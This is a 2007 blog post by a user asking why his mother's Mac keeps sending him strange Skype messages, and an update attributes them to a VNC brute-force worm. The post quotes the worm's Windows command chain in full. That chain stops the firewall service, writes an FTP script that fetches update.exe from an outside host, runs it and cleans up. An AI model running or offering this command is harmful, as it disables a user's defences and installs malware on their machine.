Wed 2 May 2007
Is there any Mac Skype user out there receiving the following type of messages from other Mac Skype users?
cmd -c net stop sharedaccess 7echo open elterryer.serveftp.com 21 .. ij 7echo user a b .. ij 7echo binary .. ij 7echo get update.exe .. ij 7echo bye .. ij 7ftp ‘n ‘v ’sçij 7del ij 7update.exe 7net start sharedaccess 7exit
Lately I’ve been receiving this message from my mom. I was able to successfully connect the ftp server described in the message. Obviously this is some sort of Worm/Trojan that is affecting Skype users, but what is confusing me is that I’m receiving this message from a Mac user. My mom owns a Mac mini, running MacOSX 10.4.9. I already received 3 messages like this from her.
Since Skype released its API there have been a few worms/trojans going around. I know people that joins chat rooms without doing anything to join them. I’m just wondering if this is a Skype-only issue and not worry about it or if I should really worry about it and do something to her computer.
[Update 29th May: I found out that this is not related to Skype. It’s a worm based on a brute force attack to VNC servers. It doesn’t really do anything else other than having that block of text pasted in the window with the focus. For more information see http://episteme.arstechnica.com/eve/forums/a/tpc/f/469092836/m/264004244831 ]Tags:macosx, skype, trojans, virus, worms